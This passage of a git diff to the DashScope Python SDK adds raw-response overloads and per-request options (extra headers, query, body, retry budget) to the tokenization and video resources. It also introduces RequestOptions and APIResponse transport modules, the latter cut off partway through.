itself. + """ body = _build_body( model=model, prompt=prompt, messages=messages, parameters=parameters, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _PATH, json=body, @@ -103,15 +182,32 @@ def count( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) class AsyncTokenization: def __init__(self, client) -> None: self._client = client + @overload async def count( self, *, @@ -122,14 +218,62 @@ async def count( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> TokenCount: + ... + + @overload + async def count( + self, + *, + model: str, + prompt: Optional[str] = None, + messages: Union[str, List[MessageInput], None] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def count( + self, + *, + model: str, + prompt: Optional[str] = None, + messages: Union[str, List[MessageInput], None] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[TokenCount, "APIResponse"]: + """Count tokens for ``prompt`` / ``messages``. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + before any error check, so a caller can read the status, headers and + ``elapsed`` of the response or re-parse it itself. + """ body = _build_body( model=model, prompt=prompt, messages=messages, parameters=parameters, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _PATH, json=body, @@ -137,6 +281,22 @@ async def count( api_key=api_key, workspace=workspace, sdk_module=MODULE, + options=request_options( + extra_headers, + extra_query, + extra_body, + max_retries=max_retries, + ), + client=self._client, + ) + if raw: + return resp + resp.raise_for_status() + return with_headers( + _parse( + resp.json(), + strict=self._client.config.strict_validation, + response=resp.http_response, + ), + resp.http_response, ) - check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers(_parse(response_json(response)), response) diff --git a/dashscope/resources/videos.py b/dashscope/resources/videos.py index a70636b8..349176f9 100644 --- a/dashscope/resources/videos.py +++ b/dashscope/resources/videos.py @@ -19,7 +19,20 @@ from __future__ import annotations -from typing import Any, Awaitable, Callable, Dict, List, Optional, Tuple, Union +from typing import ( + TYPE_CHECKING, + Any, + Awaitable, + Callable, + Dict, + List, + Literal, + Mapping, + Optional, + Tuple, + Union, + overload, +) from dashscope.resources._blocking import run_blocking from dashscope.resources._jobs import ( @@ -36,6 +49,9 @@ upload_media_value, ) +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse + __all__ = [ "AsyncVideos", "Videos", @@ -175,6 +191,7 @@ def __init__(self, client) -> None: self._client = client self._jobs = Jobs(client, SERVICE, MODULE) + @overload def create( self, *, @@ -195,7 +212,74 @@ def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def create( + self, + *, + model: str, + prompt: Optional[str] = None, + image_url: Optional[str] = None, + media: Optional[List[Dict[str, Any]]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + size: Optional[str] = None, + duration: Optional[int] = None, + resolution: Optional[str] = None, + ratio: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + prompt: Optional[str] = None, + image_url: Optional[str] = None, + media: Optional[List[Dict[str, Any]]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + size: Optional[str] = None, + duration: Optional[int] = None, + resolution: Optional[str] = None, + ratio: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a video task; returns a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying submit call before any error check. + """ image_url, media, extra_input, has_upload = _upload_inputs( self._client, model, @@ -229,8 +313,14 @@ def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def fetch( self, task_id: str, @@ -238,14 +328,61 @@ def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one video task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying fetch call before any error check. + """ return self._jobs.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def cancel( self, task_id: str, @@ -253,15 +390,61 @@ def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying cancel call before any error check. + """ return self._jobs.cancel( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload def list( # pylint: disable=redefined-builtin self, *, @@ -276,8 +459,62 @@ def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying list call before any error check. + """ return self._jobs.list( start_time=start_time, end_time=end_time, @@ -290,6 +527,11 @@ def list( # pylint: disable=redefined-builtin timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) def wait( @@ -301,6 +543,10 @@ def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Any]] = None, ) -> Job: return self._jobs.wait( @@ -310,6 +556,10 @@ def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -344,6 +594,10 @@ def generate( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """Submit and wait; returns the finished Job (output.video_url). @@ -374,6 +628,10 @@ def generate( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return self.jobs.wait( job, @@ -382,6 +640,10 @@ def generate( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) @@ -390,6 +652,7 @@ def __init__(self, client) -> None: self._client = client self._jobs = AsyncJobs(client, SERVICE, MODULE) + @overload async def create( self, *, @@ -410,7 +673,74 @@ async def create( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def create( + self, + *, + model: str, + prompt: Optional[str] = None, + image_url: Optional[str] = None, + media: Optional[List[Dict[str, Any]]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + size: Optional[str] = None, + duration: Optional[int] = None, + resolution: Optional[str] = None, + ratio: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + prompt: Optional[str] = None, + image_url: Optional[str] = None, + media: Optional[List[Dict[str, Any]]] = None, + extra_input: Optional[Dict[str, Any]] = None, + function: Optional[str] = None, + seed: Optional[int] = None, + size: Optional[str] = None, + duration: Optional[int] = None, + resolution: Optional[str] = None, + ratio: Optional[str] = None, + prompt_extend: Optional[bool] = None, + watermark: Optional[bool] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Submit a video task; returns a PENDING/RUNNING Job. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying submit call before any error check. + """ # The upload path is blocking (file post + getPolicy), so it runs in # a worker thread -- over a transport bridged back to this loop, # which is what lets it serve the policy fetch. @@ -448,8 +778,14 @@ async def create( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def fetch( self, task_id: str, @@ -457,14 +793,61 @@ async def fetch( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: + ... + + @overload + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def fetch( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Fetch one video task snapshot. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying fetch call before any error check. + """ return await self._jobs.fetch( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def cancel( self, task_id: str, @@ -472,15 +855,61 @@ async def cancel( timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> Job: - """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``).""" + ... + + @overload + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def cancel( + self, + task_id: str, + *, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[Job, "APIResponse"]: + """Cancel a PENDING task (``POST /tasks/{task_id}/cancel``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying cancel call before any error check. + """ return await self._jobs.cancel( task_id, timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) + @overload async def list( # pylint: disable=redefined-builtin self, *, @@ -495,8 +924,62 @@ async def list( # pylint: disable=redefined-builtin timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[False] = False, ) -> JobList: - """List async tasks (``GET /tasks``).""" + ... + + @overload + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def list( # pylint: disable=redefined-builtin + self, + *, + start_time: Optional[str] = None, + end_time: Optional[str] = None, + model_name: Optional[str] = None, + api_key_id: Optional[str] = None, + region: Optional[str] = None, + status: Optional[str] = None, + page_no: int = 1, + page_size: int = 10, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, + raw: bool = False, + ) -> Union[JobList, "APIResponse"]: + """List async tasks (``GET /tasks``). + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + of the underlying list call before any error check. + """ return await self._jobs.list( start_time=start_time, end_time=end_time, @@ -509,6 +992,11 @@ async def list( # pylint: disable=redefined-builtin timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, + raw=raw, ) async def wait( @@ -520,6 +1008,10 @@ async def wait( timeout: float = DEFAULT_WAIT_TIMEOUT, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, _sleep: Optional[Callable[[float], Awaitable[None]]] = None, ) -> Job: return await self._jobs.wait( @@ -529,6 +1021,10 @@ async def wait( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, _sleep=_sleep, ) @@ -561,6 +1057,10 @@ async def generate( max_interval: float = DEFAULT_MAX_INTERVAL, api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + max_retries: Optional[int] = None, ) -> Job: """See :meth:`Videos.generate`.""" job = await self.jobs.create( @@ -581,6 +1081,10 @@ async def generate( timeout=submit_timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) return await self.jobs.wait( job, @@ -589,4 +1093,8 @@ async def generate( timeout=timeout, api_key=api_key, workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + max_retries=max_retries, ) diff --git a/dashscope/transport/__init__.py b/dashscope/transport/__init__.py index d552f13f..4136f624 100644 --- a/dashscope/transport/__init__.py +++ b/dashscope/transport/__init__.py @@ -2,10 +2,18 @@ # Copyright (c) Alibaba, Inc. and its affiliates. """Transport layer for the dashscope 2.0 SDK.""" +from dashscope.transport._options import RequestOptions +from dashscope.transport._response import APIResponse from dashscope.transport.http import ( AsyncTransport, SyncTransport, default_user_agent, ) -__all__ = ["AsyncTransport", "SyncTransport", "default_user_agent"] +__all__ = [ + "APIResponse", + "AsyncTransport", + "RequestOptions", + "SyncTransport", + "default_user_agent", +] diff --git a/dashscope/transport/_ident.py b/dashscope/transport/_ident.py index 5e1aa9d1..24033c00 100644 --- a/dashscope/transport/_ident.py +++ b/dashscope/transport/_ident.py @@ -7,14 +7,20 @@ ``python-sdk//dashscope2`` -- the trailing ``2`` marks the v2 surface, see ``V2_MODULE_MARKER``), and ``x-dashscope-sdk-session-id`` carries one id per interpreter process so server-side access logs can -group all requests a single SDK session makes. Caller-supplied headers -always win over these defaults. Set ``DASHSCOPE_DISABLE_SDK_HEADERS`` to -omit both (the same kill switch the 1.x SDK honors). +group all requests a single SDK session makes. +``x-dashscope-client-request-id`` narrows that to one logical request: +the session id cannot tell two calls apart, and the server's own +``x-request-id`` only exists once a response comes back, so a request +that dies in the network layer would otherwise leave nothing to +correlate. Caller-supplied headers always win over these defaults. Set +``DASHSCOPE_DISABLE_SDK_HEADERS`` to omit all three (the same kill +switch the 1.x SDK honors). """ from __future__ import annotations import os +import uuid from typing import Optional # One process-wide session id shared with the 1.x API classes, so a @@ -25,6 +31,7 @@ SDK_CLIENT_HEADER = "x-dashscope-sdk-client" SDK_SESSION_ID_HEADER = "x-dashscope-sdk-session-id" +CLIENT_REQUEST_ID_HEADER = "x-dashscope-client-request-id" # ``client/version/module``, mirroring 1.x ``common.utils.get_sdk_headers``. # The client segment keeps server-side language stats on one spelling @@ -78,16 +85,44 @@ def sdk_client_value(module: Optional[str] = None) -> str: SDK_CLIENT_VALUE = sdk_client_value() -def sdk_headers(module: Optional[str] = None) -> dict: +def client_request_id() -> Optional[str]: + """A fresh client-side id for one logical request. + + Complements the server's ``x-request-id`` rather than replacing it: + this one exists before the request is sent, so it is still available + when the request never reaches the gateway. Callers mint one per + request, outside the retry loop, and reuse it across attempts -- the + id counts logical requests, not attempts, so the server's per-attempt + ``x-request-id`` still correlates back to a single client id. + + ``None`` under ``DASHSCOPE_DISABLE_SDK_HEADERS`` is deliberate -- an id + that never went on the wire is not something anyone can look up, so + carrying it into logs and errors would point at nothing. + """ + if os.environ.get("DASHSCOPE_DISABLE_SDK_HEADERS"): + return None + return uuid.uuid4().hex + + +def sdk_headers( + module: Optional[str] = None, + per_request_id: Optional[str] = None, +) -> dict: """Default identification headers for outgoing requests. ``module`` names the functional area issuing the request and becomes - the third segment of ``x-dashscope-sdk-client``. Returns an empty dict - when ``DASHSCOPE_DISABLE_SDK_HEADERS`` is set, matching the 1.x opt-out. + the third segment of ``x-dashscope-sdk-client``. ``per_request_id`` is + the caller's :func:`client_request_id` value; passing it in rather + than minting one here is what keeps every retry attempt of a request + under a single id. Returns an empty dict when + ``DASHSCOPE_DISABLE_SDK_HEADERS`` is set, matching the 1.x opt-out. """ if os.environ.get("DASHSCOPE_DISABLE_SDK_HEADERS"): return {} - return { + headers = { SDK_CLIENT_HEADER: sdk_client_value(module), SDK_SESSION_ID_HEADER: sdk_session_id(), } + if per_request_id: + headers[CLIENT_REQUEST_ID_HEADER] = per_request_id + return headers diff --git a/dashscope/transport/_options.py b/dashscope/transport/_options.py new file mode 100644 index 00000000..27b42079 --- /dev/null +++ b/dashscope/transport/_options.py @@ -0,0 +1,160 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Per-request customization channel for the v2 transports. + +Every resource method that routes its own HTTP request offers the same +three escape hatches (``extra_headers`` / ``extra_query`` / +``extra_body``) and hands them to the transport as one +:class:`RequestOptions`. They exist so a caller can attach something this +SDK does not model yet (a gateway experiment flag, a parameter a newer +backend added) without waiting for a release. The websocket methods +(``audio.asr.recognize`` / ``recognize_file``, ``tingwu.realtime``) are +the exception: ``transport/ws.py`` has no per-request options channel, so +a parameter there would be silently inert. + +``timeout`` and ``max_retries`` ride the same channel, with one +difference in how they reach it. ``max_retries`` is a resource-method +parameter: passing it narrows or widens the client's retry budget for +one request, which used to mean deriving a whole client +(``client.with_options(max_retries=0)``). ``timeout`` is *not* exposed +through a resource signature, because every resource method already +declares its own ``timeout=`` and the transport prefers that one (see +:class:`RequestOptions`); the field here serves callers that build +:class:`RequestOptions` directly. + +``None`` means "no opinion" everywhere here, so a call that sets no +option behaves exactly as it did before this channel existed. Header +precedence is documented on :func:`dashscope.transport.http._request_headers`, +which is where the layers actually meet. +""" + +from __future__ import annotations + +from dataclasses import dataclass +from typing import Any, Dict, Mapping, Optional, Union + +import httpx + +__all__ = [ + "RequestOptions", + "deep_merge", + "merge_query", + "request_options", + "resolve_max_retries", + "resolve_timeout", +] + + +@dataclass(frozen=True) +class RequestOptions: + """Per-request overrides, every field optional. + + Frozen because one instance is naturally built once and reused across + calls; a mutable option object would let a later request inherit an + earlier one's edits. + + ``timeout`` is the *fallback* for the transport's own ``timeout=`` + argument, which wins when both are given: resources already forward a + per-method ``timeout``, so two channels setting one value with no + rule between them would be ambiguous. + """ + + extra_headers: Optional[Mapping[str, str]] = None + extra_query: Optional[Mapping[str, Any]] = None + extra_body: Optional[Mapping[str, Any]] = None + timeout: Optional[Union[float, httpx.Timeout]] = None + max_retries: Optional[int] = None + + +def request_options( + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + *, + timeout: Optional[Union[float, httpx.Timeout]] = None, + max_retries: Optional[int] = None, +) -> Optional[RequestOptions]: + """Options for a resource call's overrides, or ``None``. + + Resources call this rather than building :class:`RequestOptions` + themselves, so an all-defaults call stays ``None`` and the transport + keeps its no-options path. + + ``timeout`` and ``max_retries`` are keyword-only so the three extras + stay positional: resources pass them by position, and a keyword-only + tail lets this grow without touching those call sites. + """ + if not ( + extra_headers + or extra_query + or extra_body + or timeout is not None + or max_retries is not None + ): + return None + return RequestOptions( + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + timeout=timeout, + max_retries=max_retries, + ) + + +def deep_merge( + base: Mapping[str, Any], + extra: Mapping[str, Any], +) -> Dict[str, Any]: + """Merge ``extra`` over ``base``: nested dicts merge, all else replaces. + + Neither input is mutated. A key holding a dict on both sides merges + recursively, so adding one nested field does not drop its siblings; + every other type replaces, including lists -- concatenating them + would silently change what the caller asked to overwrite. + """ + merged = dict(base) + for key, value in extra.items(): + current = merged.get(key) + if isinstance(current, dict) and isinstance(value, dict): + merged[key] = deep_merge(current, value) + else: + merged[key] = value + return merged + + +def merge_query( + params: Optional[Mapping[str, Any]], + options: Optional[RequestOptions], +) -> Optional[Mapping[str, Any]]: + """``params`` with ``options.extra_query`` merged on top. + + Shallow, unlike the body merge: a query value is a scalar or a + repeated key, never a structure, so there is nothing to recurse into. + """ + if options is None or not options.extra_query: + return params + return {**(params or {}), **options.extra_query} + + +def resolve_timeout( + timeout: Optional[Union[float, httpx.Timeout]], + options: Optional[RequestOptions], +) -> Optional[Union[float, httpx.Timeout]]: + """The call's timeout, falling back to ``options.timeout``.""" + if timeout is not None or options is None: + return timeout + return options.timeout + + +def resolve_max_retries( + default: int, + options: Optional[RequestOptions], +) -> int: + """Retry budget for one request: the override, else the client default. + + Clamped at zero like the client-level setting, so a negative override + means "do not retry" rather than a negative attempt count. + """ + if options is None or options.max_retries is None: + return default + return max(options.max_retries, 0) diff --git a/dashscope/transport/_response.py b/dashscope/transport/_response.py new file mode 100644 index 00000000..d1c8b6c7 --- /dev/null +++ b/dashscope/transport/_response.py @@ -0,0 +1,209 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Response wrapper shared by the sync and async HTTP paths. + +:class:`APIResponse` carries a materialized ``httpx.Response`` plus a +reference to the client that produced it, and folds the repetitive HTTP +tail -- error check, JSON decode, typed construction, header attachment +-- into one object. Resources build it through +:meth:`~dashscope.transport.http.SyncTransport.request_api` and either +return it directly (``raw=True``) or read ``json()`` / ``parse()`` from it. + +``httpx.Response`` is already materialized on the async path too (the +transport awaits it before returning), so one class serves both; there is +no async twin. Only :meth:`parse` and :meth:`json` touch the body, and +both are synchronous because the bytes are already in memory. +""" + +from __future__ import annotations + +from typing import Any, Dict, Optional, Type, TypeVar + +import httpx + +from dashscope.errors import check_response, response_json +from dashscope.types._parse import parse_model +from dashscope.types.common import ( + ResponseBase, + flatten_envelope, + with_headers, +) + +__all__ = ["APIResponse"] + +T = TypeVar("T", bound=ResponseBase) + +# Sentinel distinct from a legitimately cached ``None`` body. +_MISSING = object() + + +def 